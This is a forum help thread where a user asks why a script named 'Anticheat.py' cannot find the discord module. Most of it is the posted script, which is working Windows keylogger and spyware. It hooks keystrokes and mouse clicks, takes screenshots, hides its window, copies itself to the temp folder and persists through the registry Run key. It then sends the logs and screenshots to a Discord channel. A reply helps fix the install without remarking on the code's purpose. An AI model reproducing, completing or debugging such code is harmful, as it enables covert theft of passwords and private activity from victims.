Problem discord

hello i have a problem with my programe error
Traceback (most recent call last): File "Anticheat.py", line 7, in <module> ModuleNotFoundError: No module named 'discord'
what is a problem?

import sys
import os
import time
import random
import string
import base64
import discord
from discord.ext import commands
import pyHook
import pythoncom
import pyautogui
from winreg import *
import tempfile
import shutil
TOKEN = "my token😁"
bot = commands.Bot(command_prefix='!', intents=discord.Intents.all())
CHANNEL_ID = 1212834546131669082
INTERVAL = 60
t = ""
pics_names = []
def run_from_temp():
    temp_dir = tempfile.gettempdir()
    current_script_path = os.path.realpath(sys.argv[0])
    temp_script_path = os.path.join(temp_dir, os.path.basename(current_script_path))
    if temp_dir not in current_script_path:
        shutil.copy(current_script_path, temp_script_path)
    else:
        pass
if __name__ == "__main__":
    run_from_temp()
def addStartup():
    fp = os.path.dirname(os.path.realpath(__file__))
    file_name = sys.argv[0].split('\\')[-1]
    new_file_path = fp + '\\' + file_name
    keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run'
    key2change = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS)
    SetValueEx(key2change, 'Im not a keylogger', 0, REG_SZ, new_file_path)
def Hide():
    import win32console
    import win32gui
    win = win32console.GetConsoleWindow()
    win32gui.ShowWindow(win, 0)
def ScreenShot():
    global pics_names
    def generate_name():
        return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(7))
    name = str(generate_name())
    pics_names.append(name)
    pyautogui.screenshot().save(name + '.png')
async def send_to_discord(data, pics_names):
    await bot.wait_until_ready()
    channel = bot.get_channel(CHANNEL_ID)
    await channel.send(data)
    for pic in pics_names:
        with open(pic + '.png', 'rb') as file:
            picture = discord.File(file)
            await channel.send(file=picture)
    
    # Envoi Ʃgalement le fichier Logfile.txt
    with open('Logfile.txt', 'rb') as log_file:
        log_data = discord.File(log_file)
        await channel.send(file=log_data)
def OnMouseEvent(event):
    global t, pics_names
    data = '\n[' + str(time.ctime().split(' ')[3]) + ']' \
           + ' WindowName : ' + str(event.WindowName)
    data += '\n\tButton:' + str(event.MessageName)
    data += '\n\tClicked in (Position):' + str(event.Position)
    data += '\n===================='
    t = t + data
    if len(t) > 300:
        ScreenShot()
    if len(t) > 500:
        f = open('Logfile.txt', 'a')
        f.write(t)
        f.close()
        t = ''
    if int(time.time() - start_time) == int(INTERVAL):
        bot.loop.create_task(send_to_discord(t, pics_names))
        start_time = time.time()
        t = ''
    return True
def OnKeyboardEvent(event):
    global t
    data = '\n[' + str(time.ctime().split(' ')[3]) + ']' \
           + ' WindowName : ' + str(event.WindowName)
    data += '\n\tKeyboard key :' + str(event.Key)
    data += '\n===================='
    t = t + data
    if len(t) > 500:
        f = open('Logfile.txt', 'a')
        f.write(t)
        f.close()
        t = ''
    if int(time.time() - start_time) == int(INTERVAL):
        bot.loop.create_task(send_to_discord(t, pics_names))
        t = ''
    return True
hook = pyHook.HookManager()
hook.KeyDown = OnKeyboardEvent
hook.MouseAllButtonsDown = OnMouseEvent
hook.HookKeyboard()
hook.HookMouse()
start_time = time.time()
bot.run(TOKEN)

It can’t find the module discord.

Have you installed it? If yes, how?

On Windows, it’s recommended that you use the Python Launcher py:

py -m pip install discord